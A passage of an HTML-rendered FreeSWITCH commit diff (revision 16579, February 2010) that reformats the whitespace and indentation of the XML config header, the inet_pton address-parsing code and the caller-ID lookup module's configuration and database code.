-        SWITCH_CONFIG_STRING,                         /*&lt; (ptr=[char* or char ** (for alloc)] default=char* data=switch_xml_config_string_options_t*) Zero-terminated C-string */
-        SWITCH_CONFIG_BOOL,                         /*&lt; (ptr=switch_bool_t* default=switch_bool_t data=NULL) Yes and no */
-        SWITCH_CONFIG_CUSTOM,                         /*&lt; (ptr=&lt;custom function data&gt; default=&lt;custom function data&gt; data=switch_xml_config_callback_t) Custom, get value through function pointer  */
-        SWITCH_CONFIG_ENUM,                         /*&lt; (ptr=int* default=int data=switch_xml_config_enum_item_t*) */
-        SWITCH_CONFIG_FLAG,                                /*&lt; (ptr=int32_t* default=switch_bool_t data=int (flag index) */
-        SWITCH_CONFIG_FLAGARRAY,                /*&lt; (ptr=int8_t* default=switch_bool_t data=int (flag index) */
-        
</del><span class="cx">         /* No more past that line */
</span><span class="cx">         SWITCH_CONFIG_LAST
</span><span class="cx"> } switch_xml_config_type_t;
</span><span class="cx"> 
</span><del>-typedef struct {                        
-        char *key;                                                /*&lt; The item's key or NULL if this is the last one in the list */
-        int value;                                                /*&lt; The item's value */
</del><ins>+typedef struct {
+        char *key;                                        /*&lt; The item's key or NULL if this is the last one in the list */
+        int value;                                        /*&lt; The item's value */
</ins><span class="cx"> } switch_xml_config_enum_item_t;
</span><span class="cx"> 
</span><span class="cx"> typedef struct {
</span><del>-        switch_memory_pool_t *pool;         /*&lt; If set, the string will be allocated on the pool (unless the length param is &gt; 0, then you misread this file)*/
-        switch_size_t length;                        /*&lt; Length of the char array, or 0 if memory has to be allocated dynamically*/
-        char *validation_regex;                        /*&lt; Enforce validation using this regular expression */
</del><ins>+        switch_memory_pool_t *pool;        /*&lt; If set, the string will be allocated on the pool (unless the length param is &gt; 0, then you misread this file) */
+        switch_size_t length;                /*&lt; Length of the char array, or 0 if memory has to be allocated dynamically */
+        char *validation_regex;                /*&lt; Enforce validation using this regular expression */
</ins><span class="cx"> } switch_xml_config_string_options_t;
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE_DATA extern switch_xml_config_string_options_t switch_config_string_strdup;         /*&lt; String options structure for strdup, no validation */
</del><ins>+SWITCH_DECLARE_DATA extern switch_xml_config_string_options_t switch_config_string_strdup;        /*&lt; String options structure for strdup, no validation */
</ins><span class="cx"> 
</span><span class="cx"> typedef struct {
</span><span class="cx">         switch_bool_t enforce_min;
</span><span class="cx">         int min;
</span><del>-        switch_bool_t enforce_max;        
</del><ins>+        switch_bool_t enforce_max;
</ins><span class="cx">         int max;
</span><span class="cx"> } switch_xml_config_int_options_t;
</span><span class="cx"> 
</span><span class="lines">@@ -85,21 +84,22 @@
</span><span class="cx">         CONFIG_REQUIRED = (1 &lt;&lt; 1)
</span><span class="cx"> } switch_config_flags_t;
</span><span class="cx"> 
</span><del>-typedef switch_status_t (*switch_xml_config_callback_t)(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed);
</del><ins>+typedef switch_status_t (*switch_xml_config_callback_t) (switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+                                                                                                                 switch_bool_t changed);
</ins><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="cx">  * \brief A configuration instruction read by switch_xml_config_parse 
</span><span class="cx"> */
</span><span class="cx"> struct switch_xml_config_item {
</span><del>-        const char *key;                                                   /*&lt; The key of the element, or NULL to indicate the end of the list */
-        switch_xml_config_type_t type;                         /*&lt; The type of variable */
-        int flags;                                                                    /*&lt; True if the var can be changed on reload */
-        void *ptr;                                                                   /*&lt; Ptr to the var to be changed */
-        const void *defaultvalue;                                    /*&lt; Default value */
-        void *data;                                                            /*&lt; Custom data (depending on the type) */
</del><ins>+        const char *key;                        /*&lt; The key of the element, or NULL to indicate the end of the list */
+        switch_xml_config_type_t type;        /*&lt; The type of variable */
+        int flags;                                        /*&lt; True if the var can be changed on reload */
+        void *ptr;                                        /*&lt; Ptr to the var to be changed */
+        const void *defaultvalue;        /*&lt; Default value */
+        void *data;                                        /*&lt; Custom data (depending on the type) */
</ins><span class="cx">         switch_xml_config_callback_t function;        /*&lt; Callback to be called after the var is parsed */
</span><del>-        const char *syntax;                                                /*&lt; Optional syntax documentation for this setting */
-        const char *helptext;                                        /*&lt; Optional documentation text for this setting */
</del><ins>+        const char *syntax;                        /*&lt; Optional syntax documentation for this setting */
+        const char *helptext;                /*&lt; Optional documentation text for this setting */
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> #define SWITCH_CONFIG_ITEM(_key, _type, _flags, _ptr, _defaultvalue, _data, _syntax, _helptext)        { _key, _type, _flags, _ptr, (void*)_defaultvalue, (void*)_data, NULL, _syntax, _helptext }
</span><span class="lines">@@ -110,9 +110,10 @@
</span><span class="cx"> #define SWITCH_CONFIG_SET_ITEM(_item, _key, _type, _flags, _ptr, _defaultvalue, _data, _syntax, _helptext)  switch_config_perform_set_item(&amp;(_item), _key, _type, _flags, _ptr, (void*)(_defaultvalue), _data, NULL, _syntax, _helptext)
</span><span class="cx"> #define SWITCH_CONFIG_SET_ITEM_CALLBACK(_item, _key, _type, _flags, _ptr, _defaultvalue, _data, _function, _syntax, _helptext)  switch_config_perform_set_item(&amp;(_item), _key, _type, _flags, _ptr, (void*)(_defaultvalue), _data, _function, _syntax, _helptext)
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(void) switch_config_perform_set_item(switch_xml_config_item_t *item, const char *key, switch_xml_config_type_t type, int flags, void *ptr,         
-        const void* defaultvalue, void *data, switch_xml_config_callback_t function, const char *syntax, const char *helptext);
-        
</del><ins>+SWITCH_DECLARE(void) switch_config_perform_set_item(switch_xml_config_item_t *item, const char *key, switch_xml_config_type_t type, int flags, void *ptr,
+                                                                                                        const void *defaultvalue, void *data, switch_xml_config_callback_t function, const char *syntax,
+                                                                                                        const char *helptext);
+
</ins><span class="cx"> /*! 
</span><span class="cx">  * \brief Gets the int representation of an enum
</span><span class="cx">  * \param enum_options the switch_xml_config_enum_item_t array for this enum
</span><span class="lines">@@ -125,7 +126,7 @@
</span><span class="cx">  * \param enum_options the switch_xml_config_enum_item_t array for this enum
</span><span class="cx">  * \param value int value to search 
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(const char*) switch_xml_config_enum_int2str(switch_xml_config_enum_item_t *enum_options, int value);
</del><ins>+SWITCH_DECLARE(const char *) switch_xml_config_enum_int2str(switch_xml_config_enum_item_t *enum_options, int value);
</ins><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="cx">  * \brief Prints out an item's documentation on the console 
</span><span class="lines">@@ -158,7 +159,8 @@
</span><span class="cx">  * \param instructions instrutions on how to parse the elements
</span><span class="cx">  * \see switch_xml_config_item_t
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_event(switch_event_t *event, int count, switch_bool_t reload, switch_xml_config_item_t *instructions);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_event(switch_event_t *event, int count, switch_bool_t reload,
+                                                                                                                          switch_xml_config_item_t *instructions);
</ins><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="cx">  * \brief Parses a list of xml elements into an event  
</span><span class="lines">@@ -176,9 +178,7 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_xml_config_cleanup(switch_xml_config_item_t *instructions);
</span><span class="cx"> 
</span><span class="cx"> SWITCH_END_EXTERN_C
</span><del>-
</del><span class="cx"> #endif /* !defined(SWITCH_XML_CONFIG_H) */
</span><del>-
</del><span class="cx"> /* For Emacs:
</span><span class="cx">  * Local Variables:
</span><span class="cx">  * mode:c
</span></span></pre></div>
<a id="freeswitchtrunksrcinet_ptonc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/inet_pton.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/inet_pton.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/inet_pton.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -52,9 +52,9 @@
</span><span class="cx">  * sizeof(int) &lt; 4.  sizeof(int) &gt; 4 is fine; all the world's not a VAX.
</span><span class="cx">  */
</span><span class="cx"> 
</span><del>-static int      inet_pton4(const char *src, unsigned char *dst);
</del><ins>+static int inet_pton4(const char *src, unsigned char *dst);
</ins><span class="cx"> #ifdef ENABLE_IPV6
</span><del>-static int      inet_pton6(const char *src, unsigned char *dst);
</del><ins>+static int inet_pton6(const char *src, unsigned char *dst);
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> /* int
</span><span class="lines">@@ -68,24 +68,23 @@
</span><span class="cx">  * author:
</span><span class="cx">  *      Paul Vixie, 1996.
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(int)
-switch_inet_pton(int af, const char *src, void *dst)
</del><ins>+SWITCH_DECLARE(int) switch_inet_pton(int af, const char *src, void *dst)
</ins><span class="cx"> {
</span><del>-  switch (af) {
-  case AF_INET:
-    return (inet_pton4(src, (unsigned char *)dst));
</del><ins>+        switch (af) {
+        case AF_INET:
+                return (inet_pton4(src, (unsigned char *) dst));
</ins><span class="cx"> #ifdef ENABLE_IPV6
</span><span class="cx"> #ifndef AF_INET6
</span><del>-#define AF_INET6        (AF_MAX+1)        /* just to let this compile */
</del><ins>+#define AF_INET6        (AF_MAX+1)        /* just to let this compile */
</ins><span class="cx"> #endif
</span><del>-  case AF_INET6:
-    return (inet_pton6(src, (unsigned char *)dst));
</del><ins>+        case AF_INET6:
+                return (inet_pton6(src, (unsigned char *) dst));
</ins><span class="cx"> #endif
</span><del>-  default:
-    errno = EAFNOSUPPORT;
-    return (-1);
-  }
-  /* NOTREACHED */
</del><ins>+        default:
+                errno = EAFNOSUPPORT;
+                return (-1);
+        }
+        /* NOTREACHED */
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /* int
</span><span class="lines">@@ -98,44 +97,43 @@
</span><span class="cx">  * author:
</span><span class="cx">  *      Paul Vixie, 1996.
</span><span class="cx">  */
</span><del>-static int
-inet_pton4(const char *src, unsigned char *dst)
</del><ins>+static int inet_pton4(const char *src, unsigned char *dst)
</ins><span class="cx"> {
</span><del>-  static const char digits[] = &quot;0123456789&quot;;
-  int saw_digit, octets, ch;
-  unsigned char tmp[INADDRSZ], *tp;
</del><ins>+        static const char digits[] = &quot;0123456789&quot;;
+        int saw_digit, octets, ch;
+        unsigned char tmp[INADDRSZ], *tp;
</ins><span class="cx"> 
</span><del>-  saw_digit = 0;
-  octets = 0;
-  tp = tmp;
-  *tp = 0;
-  while ((ch = *src++) != '\0') {
-    const char *pch;
</del><ins>+        saw_digit = 0;
+        octets = 0;
+        tp = tmp;
+        *tp = 0;
+        while ((ch = *src++) != '\0') {
+                const char *pch;
</ins><span class="cx"> 
</span><del>-    if ((pch = strchr(digits, ch)) != NULL) {
-      unsigned int val = *tp * 10 + (unsigned int)(pch - digits);
</del><ins>+                if ((pch = strchr(digits, ch)) != NULL) {
+                        unsigned int val = *tp * 10 + (unsigned int) (pch - digits);
</ins><span class="cx"> 
</span><del>-      if (val &gt; 255)
-        return (0);
-      *tp = (unsigned char)val;
-      if (! saw_digit) {
-        if (++octets &gt; 4)
-          return (0);
-        saw_digit = 1;
-      }
-    } else if (ch == '.' &amp;&amp; saw_digit) {
-      if (octets == 4)
-        return (0);
-      *++tp = 0;
-      saw_digit = 0;
-    } else
-      return (0);
-  }
-  if (octets &lt; 4)
-    return (0);
-  /* bcopy(tmp, dst, INADDRSZ); */
-  memcpy(dst, tmp, INADDRSZ);
-  return (1);
</del><ins>+                        if (val &gt; 255)
+                                return (0);
+                        *tp = (unsigned char) val;
+                        if (!saw_digit) {
+                                if (++octets &gt; 4)
+                                        return (0);
+                                saw_digit = 1;
+                        }
+                } else if (ch == '.' &amp;&amp; saw_digit) {
+                        if (octets == 4)
+                                return (0);
+                        *++tp = 0;
+                        saw_digit = 0;
+                } else
+                        return (0);
+        }
+        if (octets &lt; 4)
+                return (0);
+        /* bcopy(tmp, dst, INADDRSZ); */
+        memcpy(dst, tmp, INADDRSZ);
+        return (1);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> #ifdef ENABLE_IPV6
</span><span class="lines">@@ -152,88 +150,85 @@
</span><span class="cx">  * author:
</span><span class="cx">  *      Paul Vixie, 1996.
</span><span class="cx">  */
</span><del>-static int
-inet_pton6(const char *src, unsigned char *dst)
</del><ins>+static int inet_pton6(const char *src, unsigned char *dst)
</ins><span class="cx"> {
</span><del>-  static const char xdigits_l[] = &quot;0123456789abcdef&quot;,
-    xdigits_u[] = &quot;0123456789ABCDEF&quot;;
-  unsigned char tmp[IN6ADDRSZ], *tp, *endp, *colonp;
-  const char *xdigits, *curtok;
-  int ch, saw_xdigit;
-  unsigned int val;
</del><ins>+        static const char xdigits_l[] = &quot;0123456789abcdef&quot;, xdigits_u[] = &quot;0123456789ABCDEF&quot;;
+        unsigned char tmp[IN6ADDRSZ], *tp, *endp, *colonp;
+        const char *xdigits, *curtok;
+        int ch, saw_xdigit;
+        unsigned int val;
</ins><span class="cx"> 
</span><del>-  memset((tp = tmp), 0, IN6ADDRSZ);
-  endp = tp + IN6ADDRSZ;
-  colonp = NULL;
-  /* Leading :: requires some special handling. */
-  if (*src == ':')
-    if (*++src != ':')
-      return (0);
-  curtok = src;
-  saw_xdigit = 0;
-  val = 0;
-  while ((ch = *src++) != '\0') {
-    const char *pch;
</del><ins>+        memset((tp = tmp), 0, IN6ADDRSZ);
+        endp = tp + IN6ADDRSZ;
+        colonp = NULL;
+        /* Leading :: requires some special handling. */
+        if (*src == ':')
+                if (*++src != ':')
+                        return (0);
+        curtok = src;
+        saw_xdigit = 0;
+        val = 0;
+        while ((ch = *src++) != '\0') {
+                const char *pch;
</ins><span class="cx"> 
</span><del>-    if ((pch = strchr((xdigits = xdigits_l), ch)) == NULL)
-      pch = strchr((xdigits = xdigits_u), ch);
-    if (pch != NULL) {
-      val &lt;&lt;= 4;
-      val |= (pch - xdigits);
-      if (val &gt; 0xffff)
-        return (0);
-      saw_xdigit = 1;
-      continue;
-    }
-    if (ch == ':') {
-      curtok = src;
-      if (!saw_xdigit) {
-        if (colonp)
-          return (0);
-        colonp = tp;
-        continue;
-      }
-      if (tp + INT16SZ &gt; endp)
-        return (0);
-      *tp++ = (unsigned char) (val &gt;&gt; 8) &amp; 0xff;
-      *tp++ = (unsigned char) val &amp; 0xff;
-      saw_xdigit = 0;
-      val = 0;
-      continue;
-    }
-    if (ch == '.' &amp;&amp; ((tp + INADDRSZ) &lt;= endp) &amp;&amp;
-        inet_pton4(curtok, tp) &gt; 0) {
-      tp += INADDRSZ;
-      saw_xdigit = 0;
-      break;    /* '\0' was seen by inet_pton4(). */
-    }
-    return (0);
-  }
-  if (saw_xdigit) {
-    if (tp + INT16SZ &gt; endp)
-      return (0);
-    *tp++ = (unsigned char) (val &gt;&gt; 8) &amp; 0xff;
-    *tp++ = (unsigned char) val &amp; 0xff;
-  }
-  if (colonp != NULL) {
-    /*
-     * Since some memmove()'s erroneously fail to handle
-     * overlapping regions, we'll do the shift by hand.
-     */
-    const int n = tp - colonp;
-    int i;
</del><ins>+                if ((pch = strchr((xdigits = xdigits_l), ch)) == NULL)
+                        pch = strchr((xdigits = xdigits_u), ch);
+                if (pch != NULL) {
+                        val &lt;&lt;= 4;
+                        val |= (pch - xdigits);
+                        if (val &gt; 0xffff)
+                                return (0);
+                        saw_xdigit = 1;
+                        continue;
+                }
+                if (ch == ':') {
+                        curtok = src;
+                        if (!saw_xdigit) {
+                                if (colonp)
+                                        return (0);
+                                colonp = tp;
+                                continue;
+                        }
+                        if (tp + INT16SZ &gt; endp)
+                                return (0);
+                        *tp++ = (unsigned char) (val &gt;&gt; 8) &amp; 0xff;
+                        *tp++ = (unsigned char) val &amp; 0xff;
+                        saw_xdigit = 0;
+                        val = 0;
+                        continue;
+                }
+                if (ch == '.' &amp;&amp; ((tp + INADDRSZ) &lt;= endp) &amp;&amp; inet_pton4(curtok, tp) &gt; 0) {
+                        tp += INADDRSZ;
+                        saw_xdigit = 0;
+                        break;                                /* '\0' was seen by inet_pton4(). */
+                }
+                return (0);
+        }
+        if (saw_xdigit) {
+                if (tp + INT16SZ &gt; endp)
+                        return (0);
+                *tp++ = (unsigned char) (val &gt;&gt; 8) &amp; 0xff;
+                *tp++ = (unsigned char) val &amp; 0xff;
+        }
+        if (colonp != NULL) {
+                /*
+                 * Since some memmove()'s erroneously fail to handle
+                 * overlapping regions, we'll do the shift by hand.
+                 */
+                const int n = tp - colonp;
+                int i;
</ins><span class="cx"> 
</span><del>-    for (i = 1; i &lt;= n; i++) {
-      endp[- i] = colonp[n - i];
-      colonp[n - i] = 0;
-    }
-    tp = endp;
-  }
-  if (tp != endp)
-    return (0);
-  /* bcopy(tmp, dst, IN6ADDRSZ); */
-  memcpy(dst, tmp, IN6ADDRSZ);
-  return (1);
</del><ins>+                for (i = 1; i &lt;= n; i++) {
+                        endp[-i] = colonp[n - i];
+                        colonp[n - i] = 0;
+                }
+                tp = endp;
+        }
+        if (tp != endp)
+                return (0);
+        /* bcopy(tmp, dst, IN6ADDRSZ); */
+        memcpy(dst, tmp, IN6ADDRSZ);
+        return (1);
</ins><span class="cx"> }
</span><span class="cx"> #endif /* ENABLE_IPV6 */
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_cidlookupmod_cidlookupc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_cidlookup/mod_cidlookup.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_cidlookup/mod_cidlookup.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_cidlookup/mod_cidlookup.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -28,7 +28,7 @@
</span><span class="cx">  * mod_cidlookup.c -- API for querying cid-&gt;name services
</span><span class="cx">  *
</span><span class="cx">  */
</span><del>- 
</del><ins>+
</ins><span class="cx"> #include &lt;switch.h&gt;
</span><span class="cx"> #include &lt;curl/curl.h&gt;
</span><span class="cx"> 
</span><span class="lines">@@ -50,12 +50,12 @@
</span><span class="cx">         char *url;
</span><span class="cx">         int curl_timeout;
</span><span class="cx">         int curl_warnduration;
</span><del>-        
</del><ins>+
</ins><span class="cx">         char *whitepages_apikey;
</span><span class="cx"> 
</span><span class="cx">         switch_bool_t cache;
</span><span class="cx">         int cache_expire;
</span><del>-        
</del><ins>+
</ins><span class="cx">         char *odbc_dsn;
</span><span class="cx">         char *odbc_user;
</span><span class="cx">         char *odbc_pass;
</span><span class="lines">@@ -92,22 +92,24 @@
</span><span class="cx"> {
</span><span class="cx">         switch_cache_db_connection_options_t options = { {0} };
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(globals.odbc_dsn)) {
</span><span class="cx">                 options.odbc_options.dsn = globals.odbc_dsn;
</span><span class="cx">                 options.odbc_options.user = globals.odbc_user;
</span><span class="cx">                 options.odbc_options.pass = globals.odbc_pass;
</span><span class="cx"> 
</span><del>-                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_ODBC, &amp;options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_ODBC, &amp;options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">         }
</span><span class="cx">         return dbh;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static switch_status_t config_callback_dsn(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
</del><ins>+static switch_status_t config_callback_dsn(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type,
+                                                                                   switch_bool_t changed)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><span class="cx"> 
</span><span class="cx">         if (!switch_odbc_available()) {
</span><span class="lines">@@ -139,25 +141,31 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><del>-        
-done:
</del><ins>+
+  done:
</ins><span class="cx">         switch_cache_db_release_db_handle(&amp;dbh);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_xml_config_string_options_t config_opt_dsn = {NULL, 0, NULL}; /* anything is ok here */
</del><ins>+static switch_xml_config_string_options_t config_opt_dsn = { NULL, 0, NULL };        /* anything is ok here */
</ins><span class="cx"> static switch_xml_config_item_t instructions[] = {
</span><span class="cx">         /* parameter name        type                 reloadable   pointer                         default value     options structure */
</span><del>-        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;url&quot;, CONFIG_RELOAD, &amp;globals.url, NULL, &quot;http://server.example.com/app?number=${caller_id_number}&quot;, &quot;URL for the CID lookup service&quot;),
-        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;whitepages-apikey&quot;, CONFIG_RELOAD, &amp;globals.whitepages_apikey, NULL, &quot;api key for whitepages.com&quot;, &quot;api key for whitepages.com&quot;),
</del><ins>+        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;url&quot;, CONFIG_RELOAD, &amp;globals.url, NULL, &quot;http://server.example.com/app?number=${caller_id_number}&quot;,
+                                                                         &quot;URL for the CID lookup service&quot;),
+        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;whitepages-apikey&quot;, CONFIG_RELOAD, &amp;globals.whitepages_apikey, NULL, &quot;api key for whitepages.com&quot;,
+                                                                         &quot;api key for whitepages.com&quot;),
</ins><span class="cx">         SWITCH_CONFIG_ITEM(&quot;cache&quot;, SWITCH_CONFIG_BOOL, CONFIG_RELOAD, &amp;globals.cache, SWITCH_FALSE, NULL, &quot;true|false&quot;, &quot;whether to cache via cidlookup&quot;),
</span><del>-        SWITCH_CONFIG_ITEM(&quot;cache-expire&quot;, SWITCH_CONFIG_INT, CONFIG_RELOAD, &amp;globals.cache_expire, (void *)300, NULL, &quot;expire&quot;, &quot;seconds to preserve num-&gt;name cache&quot;),
-        SWITCH_CONFIG_ITEM(&quot;curl-timeout&quot;, SWITCH_CONFIG_INT, CONFIG_RELOAD, &amp;globals.curl_timeout, (void *)2000, NULL, &quot;timeout for curl&quot;, &quot;milliseconds to timeout&quot;),
-        SWITCH_CONFIG_ITEM(&quot;curl-warning-duration&quot;, SWITCH_CONFIG_INT, CONFIG_RELOAD, &amp;globals.curl_warnduration, (void *)1000, NULL, &quot;warning when curl queries are longer than specified time&quot;, &quot;milliseconds&quot;),
</del><ins>+        SWITCH_CONFIG_ITEM(&quot;cache-expire&quot;, SWITCH_CONFIG_INT, CONFIG_RELOAD, &amp;globals.cache_expire, (void *) 300, NULL, &quot;expire&quot;,
+                                           &quot;seconds to preserve num-&gt;name cache&quot;),
+        SWITCH_CONFIG_ITEM(&quot;curl-timeout&quot;, SWITCH_CONFIG_INT, CONFIG_RELOAD, &amp;globals.curl_timeout, (void *) 2000, NULL, &quot;timeout for curl&quot;,
+                                           &quot;milliseconds to timeout&quot;),
+        SWITCH_CONFIG_ITEM(&quot;curl-warning-duration&quot;, SWITCH_CONFIG_INT, CONFIG_RELOAD, &amp;globals.curl_warnduration, (void *) 1000, NULL,
+                                           &quot;warning when curl queries are longer than specified time&quot;, &quot;milliseconds&quot;),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;sql&quot;, CONFIG_RELOAD, &amp;globals.sql, NULL, &quot;sql whre number=${caller_id_number}&quot;, &quot;SQL to run if overriding CID&quot;),
</span><del>-        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;citystate-sql&quot;, CONFIG_RELOAD, &amp;globals.citystate_sql, NULL, &quot;sql to look up city/state info&quot;, &quot;SQL to run if overriding CID&quot;),
</del><ins>+        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;citystate-sql&quot;, CONFIG_RELOAD, &amp;globals.citystate_sql, NULL, &quot;sql to look up city/state info&quot;,
+                                                                         &quot;SQL to run if overriding CID&quot;),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_CALLBACK(&quot;odbc-dsn&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOAD, &amp;globals.odbc_dsn, &quot;&quot;, config_callback_dsn, &amp;config_opt_dsn,
</span><del>-                &quot;db:user:passwd&quot;, &quot;Database to use.&quot;),
</del><ins>+                                                                &quot;db:user:passwd&quot;, &quot;Database to use.&quot;),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_END()
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="lines">@@ -166,7 +174,7 @@
</span><span class="cx">         if (switch_xml_config_parse_module_settings(&quot;cidlookup.conf&quot;, reload, instructions) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -179,10 +187,10 @@
</span><span class="cx"> {
</span><span class="cx">         switch_bool_t retval = SWITCH_FALSE;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (globals.odbc_dsn &amp;&amp; (dbh = cidlookup_get_db_handle())) {
</span><del>-                if (switch_cache_db_execute_sql_callback(dbh, sql, callback, (void *)cbt, err)
-                                == SWITCH_ODBC_FAIL) {
</del><ins>+                if (switch_cache_db_execute_sql_callback(dbh, sql, callback, (void *) cbt, err)
+                        == SWITCH_ODBC_FAIL) {
</ins><span class="cx">                         retval = SWITCH_FALSE;
</span><span class="cx">                 } else {
</span><span class="cx">                         retval = SWITCH_TRUE;
</span><span class="lines">@@ -190,7 +198,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 *err = switch_core_sprintf(cbt-&gt;pool, &quot;Unable to get ODBC handle.  dsn: %s, dbh is %s\n&quot;, globals.odbc_dsn, dbh ? &quot;not null&quot; : &quot;null&quot;);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_release_db_handle(&amp;dbh);
</span><span class="cx">         return retval;
</span><span class="cx"> }
</span><span class="lines">@@ -199,33 +207,31 @@
</span><span class="cx"> {
</span><span class="cx">         callback_t *cbt = (callback_t *) pArg;
</span><span class="cx">         switch_memory_pool_t *pool = cbt-&gt;pool;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc &lt; 1) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
-                                                        &quot;Unexpected number of columns returned for SQL.  Returned column count: %d. &quot;,
-                                                        argc);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Unexpected number of columns returned for SQL.  Returned column count: %d. &quot;, argc);
</ins><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="cx">         cbt-&gt;name = switch_core_strdup(pool, switch_str_nil(argv[0]));
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Name: %s\n&quot;, cbt-&gt;name);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /* make a new string with digits only */
</span><del>-static char *string_digitsonly(switch_memory_pool_t *pool, const char *str) 
</del><ins>+static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
</ins><span class="cx"> {
</span><span class="cx">         char *p, *np, *newstr;
</span><span class="cx">         size_t len;
</span><span class="cx"> 
</span><del>-        p = (char *)str;
</del><ins>+        p = (char *) str;
</ins><span class="cx"> 
</span><span class="cx">         len = strlen(str);
</span><del>-        newstr = switch_core_alloc(pool, len+1);
</del><ins>+        newstr = switch_core_alloc(pool, len + 1);
</ins><span class="cx">         switch_assert(newstr);
</span><span class="cx">         np = newstr;
</span><del>-        
-        while(*p) {
</del><ins>+
+        while (*p) {
</ins><span class="cx">                 if (switch_isdigit(*p)) {
</span><span class="cx">                         *np = *p;
</span><span class="cx">                         np++;
</span><span class="lines">@@ -237,16 +243,17 @@
</span><span class="cx">         return newstr;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static cid_data_t *check_cache(switch_memory_pool_t *pool, const char *number) {
</del><ins>+static cid_data_t *check_cache(switch_memory_pool_t *pool, const char *number)
+{
</ins><span class="cx">         char *cmd;
</span><span class="cx">         char *name = NULL;
</span><span class="cx">         char *area = NULL;
</span><span class="cx">         char *src = NULL;
</span><span class="cx">         cid_data_t *cid = NULL;
</span><span class="cx">         switch_stream_handle_t stream = { 0 };
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_STANDARD_STREAM(stream);
</span><del>-        
</del><ins>+
